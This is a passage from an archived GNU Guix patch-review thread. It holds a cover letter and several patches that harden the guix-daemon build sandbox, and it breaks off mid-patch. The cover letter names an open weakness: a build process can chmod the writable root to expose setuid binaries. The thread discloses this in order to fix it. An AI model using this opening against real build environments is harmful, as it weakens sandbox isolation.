	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiY5z-0003cg-C7
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:37 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:51184)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY5v-0003cC-Tp
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:29 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiY5q-0001B9-EI; Thu, 13 Feb 2025 07:13:22 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:Subject:To:From:in-reply-to:
 references; bh=iQGBJmWfz5H9oeW6AXc3OxWRIYKjYzuahq1EFH4TLac=; b=RT04WP6+2sT+IJ
 bcUxVAQ8NcH9t9/C8tl3d4ZZeFv+I4vU+A8Hf30YR/+pheuYZbReiWaXzIi9SK8z0XuKvazPjJ6jl
 E5oJSnPgWKOwBlLI419fbM04yaqJX5aF9YqdB8H0klpQC93f5sHsCd+3A1f9MQRNdANgSfZQpGINO
 rMiRbyrjakzL+Z2Mwc+eNdNRhWzhpEpTrouMeX/NGa7jSN/S6dTqbVjJgir8K24bXfh5iX5QL9zfv
 sFMLC0w5JmEa3DIbZhNvQ5616zvqsSUTMLHaMIa6NSvQ4dMWzsexPC7czx8PAER+ZzPVZ7ikn+mbt
 Bj4B8bcXg9vrrhJDGDQQ==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Date: Thu, 13 Feb 2025 13:13:03 +0100
Message-ID: <cover.1739448513.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.0 (-)

Hello,

Here’s an update with some of the fixes suggested by Reepca:

  • Remounting inputs as read-only since MS_BIND | MS_RDONLY
    doesn’t do what one might think;

  • Bind-mounting everything and not just directories;

  • Adding tests to ensure that inputs cannot be remounted
    as read-write, overwritten, etc.;

  • Fix bogus synchronization for uid_map/gid_map creation;

  • Use ‘clone_range’ (unrelated to the rest of this series
    but nice).

One of the critical open issues that remain is the fact that
the root file system in the build environment is writable, and
thus a build process can (chmod "/" #o777) and expose setuid
binaries etc.

The other one is lack of support for read-only store remount
(‘--backing-store’ option has yet to be added).

Ludo’.

Ludovic Courtès (9):
  daemon: Use ‘close_range’ where available.
  daemon: Bind-mount all the inputs, not just directories.
  daemon: Remount inputs as read-only.
  daemon: Allow running as non-root with unprivileged user namespaces.
  DRAFT tests: Run in a chroot and unprivileged user namespaces.
  daemon: Create /var/guix/profiles/per-user unconditionally.
  daemon: Drop Linux ambient capabilities before executing builder.
  etc: systemd services: Run ‘guix-daemon’ as an unprivileged user.
  guix-install.sh: Support the unprivileged daemon where possible.

 build-aux/test-env.in       |  14 ++-
 config-daemon.ac            |   5 +-
 etc/guix-daemon.service.in  |  12 ++-
 etc/guix-install.sh         | 114 +++++++++++++++++++-----
 guix/substitutes.scm        |   4 +-
 nix/libstore/build.cc       | 171 ++++++++++++++++++++++++++----------
 nix/libstore/local-store.cc |  30 ++++---
 nix/libutil/util.cc         |  23 +++--
 tests/store.scm             | 144 ++++++++++++++++++++++--------
 9 files changed, 388 insertions(+), 129 deletions(-)


base-commit: bc6769f1211104dbc9341c064275cd930f5dfa3a
-- 
2.48.1





Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH v2 1/9] daemon: Use =?UTF-8?Q?=E2=80=98close=5Frange=E2=80=99?= where available.
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Thu, 13 Feb 2025 12:14:02 +0000
Resent-Message-ID: <handler.75810.B75810.173944881913988 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: 75810 <at> debbugs.gnu.org
Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173944881913988
          (code B ref 75810); Thu, 13 Feb 2025 12:14:02 +0000
Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:39 +0000
Received: from localhost ([127.0.0.1]:41124 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiY65-0003dI-RU
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:38 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:51198)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY5x-0003cE-6y
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:29 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiY5r-0001BO-Ru; Thu, 13 Feb 2025 07:13:23 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=0izMrOHlIq4NgLJJUeAlULEe8K+llpxfq6yctCHxero=; b=c2yrriY4hF1VWc6VKtTm
 7bAd/X3xGfk3UO0lpYY1RU/3DX8TIJNRnM0geIxhrYduszsxV9NDo4dU+nV0P9ExYih8SdkMXTK2h
 Uq5QGXuLqzsnhG4ZS5Rr4NXosrnyYalrvbOJw6JbtYgc2puBcVwb9oEIpzk5lklUOUJ83yLSW7rvK
 dFgJshRBp/NHFuOBg009dgfEXFf1r75X7M0V1mro9qyn+IbZlh6t2Kum8ib/NqwrXdUmPY7b827Z9
 qCG0ddm0FfrHoA+JB+ra2Vdx7YCuHRXxCSNeRZ1KiTFWwzMSxREUYHUBtENOd73XUvMX98mj6jWZM
 g5y+rDUoTPvmTA==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Date: Thu, 13 Feb 2025 13:13:04 +0100
Message-ID: <bd91ab23e03ab06c821e9e41b69c0f87c7945a85.1739448513.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1739448513.git.ludo@HIDDEN>
References: <cover.1739448513.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libutil/util.cc (closeMostFDs) [HAVE_CLOSE_RANGE]: Use
‘close_range’ when ‘exceptions’ is empty.
* config-daemon.ac: Check for <linux/close_range.h> and the
‘close_range’ symbol.

Change-Id: I12fa3bde58b003fcce5ea5a1fee1dcf9a92c0359
---
 config-daemon.ac    |  5 +++--
 nix/libutil/util.cc | 23 +++++++++++++++++------
 2 files changed, 20 insertions(+), 8 deletions(-)

diff --git a/config-daemon.ac b/config-daemon.ac
index 6731c68bc39..4e949bc88a3 100644
--- a/config-daemon.ac
+++ b/config-daemon.ac
@@ -78,7 +78,8 @@ if test "x$guix_build_daemon" = "xyes"; then
 
   dnl Chroot support.
   AC_CHECK_FUNCS([chroot unshare])
-  AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h])
+  AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h \
+    linux/close_range.h])
 
   if test "x$ac_cv_func_chroot" != "xyes"; then
     AC_MSG_ERROR(['chroot' function missing, bailing out])
@@ -95,7 +96,7 @@ if test "x$guix_build_daemon" = "xyes"; then
   dnl strsignal: for error reporting.
   dnl statx: fine-grain 'stat' call, new in glibc 2.28.
   AC_CHECK_FUNCS([lutimes lchown posix_fallocate sched_setaffinity \
-     statvfs nanosleep strsignal statx])
+     statvfs nanosleep strsignal statx close_range])
 
   dnl Check for <locale>.
   AC_LANG_PUSH(C++)
diff --git a/nix/libutil/util.cc b/nix/libutil/util.cc
index 3206dea11b1..eb2d16e1cc3 100644
--- a/nix/libutil/util.cc
+++ b/nix/libutil/util.cc
@@ -23,6 +23,10 @@
 #include <sys/prctl.h>
 #endif
 
+#ifdef HAVE_LINUX_CLOSE_RANGE_H
+# include <linux/close_range.h>
+#endif
+
 
 extern char * * environ;
 
@@ -1087,12 +1091,19 @@ string runProgram(Path program, bool searchPath, const Strings & args)
 
 void closeMostFDs(const set<int> & exceptions)
 {
-    int maxFD = 0;
-    maxFD = sysconf(_SC_OPEN_MAX);
-    for (int fd = 0; fd < maxFD; ++fd)
-        if (fd != STDIN_FILENO && fd != STDOUT_FILENO && fd != STDERR_FILENO
-            && exceptions.find(fd) == exceptions.end())
-            close(fd); /* ignore result */
+#ifdef HAVE_CLOSE_RANGE
+    if (exceptions.empty())
+	 close_range(3, ~0U, 0);
+    else
+#endif
+    {
+	 int maxFD = 0;
+	 maxFD = sysconf(_SC_OPEN_MAX);
+	 for (int fd = 0; fd < maxFD; ++fd)
+	      if (fd != STDIN_FILENO && fd != STDOUT_FILENO && fd != STDERR_FILENO
+		  && exceptions.find(fd) == exceptions.end())
+		   close(fd); /* ignore result */
+    }
 }
 
 
-- 
2.48.1





Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH v2 2/9] daemon: Bind-mount all the inputs, not just directories.
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Thu, 13 Feb 2025 12:14:02 +0000
Resent-Message-ID: <handler.75810.B75810.173944882614012 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: 75810 <at> debbugs.gnu.org
Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>, Reepca Russelstein <reepca@HIDDEN>
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173944882614012
          (code B ref 75810); Thu, 13 Feb 2025 12:14:02 +0000
Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:46 +0000
Received: from localhost ([127.0.0.1]:41128 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiY6A-0003dr-2R
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:45 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:51204)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY5z-0003cI-TK
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:35 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiY5t-0001Be-0u; Thu, 13 Feb 2025 07:13:25 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=G7Jx1/74uyahpmNN6NOOyHz1Zj53iERfANavhA6dHdE=; b=k6urEGcSlNkV/klITo0O
 5R6XmUCLsMQMEnezImNYpeuRtW7qhd/d2+gozWagQFj5nubRHZRZ6nYvcWw622KQIetyN/zbvhGCw
 0UEOo75yzg40xfZqAfgV9iekpmESAZkG6ElAkVy6IqQvYcXaB8k0WPMbflY79vLTyLyUvUaJhJznp
 TwAfUpHI4/9VX4itswxYIS1pNwOP4G5vBb1k81YxYDg8UnkGpdjHsAfEPfUM5eTTl/LF78zOx2KsJ
 wH5GcdOoEFjfNf4D4zu4HrM0XjdRI07CuN9Hn+Z5NtDOIxHslEyC52jjtq6XitIEDxaOSXeTXNfGc
 H7naFnX0R+LWJA==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Date: Thu, 13 Feb 2025 13:13:05 +0100
Message-ID: <1a481f7f9df95b1c76e69c5e923fa30098e33cbe.1739448513.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1739448513.git.ludo@HIDDEN>
References: <cover.1739448513.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -0.3 (/)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.3 (-)

* nix/libstore/build.cc (DerivationGoal::startBuilder): Add all of
‘inputPaths’ to ‘dirsInChroot’ instead of hard-linking regular files.

Reported-by: Reepca Russelstein <reepca@HIDDEN>
Change-Id: I070987f92d73f187f7826a975bee9ee309d67f56
---
 nix/libstore/build.cc | 27 ++-------------------------
 1 file changed, 2 insertions(+), 25 deletions(-)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index edd01bab34d..f4cd2131c84 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -1850,9 +1850,7 @@ void DerivationGoal::startBuilder()
 
         /* Make the closure of the inputs available in the chroot,
            rather than the whole store.  This prevents any access
-           to undeclared dependencies.  Directories are bind-mounted,
-           while other inputs are hard-linked (since only directories
-           can be bind-mounted).  !!! As an extra security
+           to undeclared dependencies.  !!! As an extra security
            precaution, make the fake store only writable by the
            build user. */
         Path chrootStoreDir = chrootRootDir + settings.nixStore;
@@ -1863,28 +1861,7 @@ void DerivationGoal::startBuilder()
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
         foreach (PathSet::iterator, i, inputPaths) {
-            struct stat st;
-            if (lstat(i->c_str(), &st))
-                throw SysError(format("getting attributes of path `%1%'") % *i);
-            if (S_ISDIR(st.st_mode))
-                dirsInChroot[*i] = *i;
-            else {
-                Path p = chrootRootDir + *i;
-                if (link(i->c_str(), p.c_str()) == -1) {
-                    /* Hard-linking fails if we exceed the maximum
-                       link count on a file (e.g. 32000 of ext3),
-                       which is quite possible after a `nix-store
-                       --optimise'. */
-                    if (errno != EMLINK)
-                        throw SysError(format("linking `%1%' to `%2%'") % p % *i);
-                    StringSink sink;
-                    dumpPath(*i, sink);
-                    StringSource source(sink.s);
-                    restorePath(p, source);
-                }
-
-                regularInputPaths.insert(*i);
-            }
+	    dirsInChroot[*i] = *i;
         }
 
         /* If we're repairing, checking or rebuilding part of a
-- 
2.48.1





Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH v2 6/9] daemon: Create /var/guix/profiles/per-user unconditionally.
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Thu, 13 Feb 2025 12:14:03 +0000
Resent-Message-ID: <handler.75810.B75810.173944882614019 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: 75810 <at> debbugs.gnu.org
Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173944882614019
          (code B ref 75810); Thu, 13 Feb 2025 12:14:03 +0000
Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:46 +0000
Received: from localhost ([127.0.0.1]:41130 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiY6D-0003dx-Va
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:46 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:51242)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY62-0003cU-Ky
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:36 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiY5x-0001Cm-B1; Thu, 13 Feb 2025 07:13:29 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=Zsh2zvgPChPdygWDGttbjWAWpTHmsPY3r3V/6RFHAxg=; b=fMn3QqCxdzRdQFsZTqUX
 zd/SpdmJNbIFmnsu7WATyaUFOTRr2YFsXgytj6rUDsZTcLaWt8EOr8B5LTrhkXl/HQAnN4Eu7KH99
 hUkCOL9/zrRv6ciGJL5iXofAZT2bnllch/SmbsCalac1IDt2JQVnvN9SQsKh+8YqIOhret4B4wSyT
 yPhON0UyrR7yWH0sxESN9Hxl5LQTPkgFNy6d6eJrThe1VdH/eAc7cuPfgT4G6nQVrN6WgAuPTl/+D
 Bdi6+fSeI/dC6qvrRHY+ynSj/UkGnqj3g/ERVrj/SqDNnBXqGyTaR16hN57HXX3Nz0ZfI0Y0P0tM5
 YQqXv7no1lB5pA==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Date: Thu, 13 Feb 2025 13:13:09 +0100
Message-ID: <d6e5382ab3c33c467cb753969ca574561e90d8de.1739448513.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1739448513.git.ludo@HIDDEN>
References: <cover.1739448513.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/local-store.cc (LocalStore::LocalStore): Create
‘perUserDir’ unconditionally.

Change-Id: I5188320f9630a81d16f79212d0fffabd55d94abe
---
 nix/libstore/local-store.cc | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc
index 4308264a4f3..63846695194 100644
--- a/nix/libstore/local-store.cc
+++ b/nix/libstore/local-store.cc
@@ -79,12 +79,12 @@ LocalStore::LocalStore(bool reserveSpace)
         createSymlink(profilesDir, gcRootsDir + "/profiles");
     }
 
-    /* Optionally, create directories and set permissions for a
-       multi-user install. */
+    Path perUserDir = profilesDir + "/per-user";
+    createDirs(perUserDir);
+
+    /* Optionally, set permissions for a multi-user install.  */
     if (getuid() == 0 && settings.buildUsersGroup != "") {
 
-        Path perUserDir = profilesDir + "/per-user";
-        createDirs(perUserDir);
         if (chmod(perUserDir.c_str(), 0755) == -1)
             throw SysError(format("could not set permissions on '%1%' to 755")
                            % perUserDir);
-- 
2.48.1





Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH v2 7/9] daemon: Drop Linux ambient capabilities before executing builder.
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Thu, 13 Feb 2025 12:14:03 +0000
Resent-Message-ID: <handler.75810.B75810.173944882614028 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: 75810 <at> debbugs.gnu.org
Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173944882614028
          (code B ref 75810); Thu, 13 Feb 2025 12:14:03 +0000
Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:46 +0000
Received: from localhost ([127.0.0.1]:41132 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tiY6E-0003e4-Ai
	for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:46 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:41562)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY63-0003cc-L3
 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:37 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tiY5y-0001D3-Aa; Thu, 13 Feb 2025 07:13:30 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=pd3jEQEVWdyi/LNttJNlAO+MmH58xfjNxu8WkPG+5kM=; b=lyniOA6dfNo4JP+NNQ8e
 N9QkR5DkhTP20jWd1mhD1JcTaERQEu9V1xqPg5paD7vHFQotpXHjPQbrZpi5UYOJsGAgt3G8bESCa
 rxBSfgB8AkEbyOtx7agNw3z1c2Jln3ZxtZfrQc+mHniMzNKnzAnsjFJMjyzCH1m838tTdXVJsHJFj
 ojilptPNCvglWaNR/NALcnlsI9lwfmCDKM5BDvWUnJb0JWLq5ZR54hy7Gco5FU+Q98ggEerQ86kVT
 azIDvv0drEWHIG+dAo74b007uTZz//iRv42as6bUIFj2T6K6WnSweP0pznTpoUdJ4UTlzwG4zXH1P
 VCVkLbQccmcA6A==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Date: Thu, 13 Feb 2025 13:13:10 +0100
Message-ID: <06b47bf0dcee78ac73405afe118f7ed7f0a374fa.1739448513.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1739448513.git.ludo@HIDDEN>
References: <cover.1739448513.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* config-daemon.ac: Check for <sys/prctl.h>.
* nix/libstore/build.cc (DerivationGoal::runChild): When ‘useChroot’ is
true, call ‘prctl’ to drop all ambient capabilities.

Change-Id: If34637fc508e5fb6d278167f5df7802fc595284f
---
 config-daemon.ac      | 2 +-
 nix/libstore/build.cc | 9 +++++++++
 2 files changed, 10 insertions(+), 1 deletion(-)

diff --git a/config-daemon.ac b/config-daemon.ac
index 4e949bc88a3..35d9c8cd56b 100644
--- a/config-daemon.ac
+++ b/config-daemon.ac
@@ -79,7 +79,7 @@ if test "x$guix_build_daemon" = "xyes"; then
   dnl Chroot support.
   AC_CHECK_FUNCS([chroot unshare])
   AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h \
-    linux/close_range.h])
+    linux/close_range.h sys/prctl.h])
 
   if test "x$ac_cv_func_chroot" != "xyes"; then
     AC_MSG_ERROR(['chroot' function missing, bailing out])
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 18dd27460b7..4280b8abff8 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -50,6 +50,9 @@
 #if HAVE_SCHED_H
 #include <sched.h>
 #endif
+#if HAVE_SYS_PRCTL_H
+#include <sys/prctl.h>
+#endif
 
 
 #define CHROOT_ENABLED HAVE_CHROOT && HAVE_SYS_MOUNT_H && defined(MS_BIND) && defined(MS_PRIVATE)
@@ -2059,6 +2062,12 @@ void DerivationGoal::runChild()
 
 #if CHROOT_ENABLED
         if (useChroot) {
+# if HAVE_SYS_PRCTL_H
+	    /* Drop ambient capabilities such as CAP_CHOWN that might have
+	       been granted when starting guix-daemon.  */
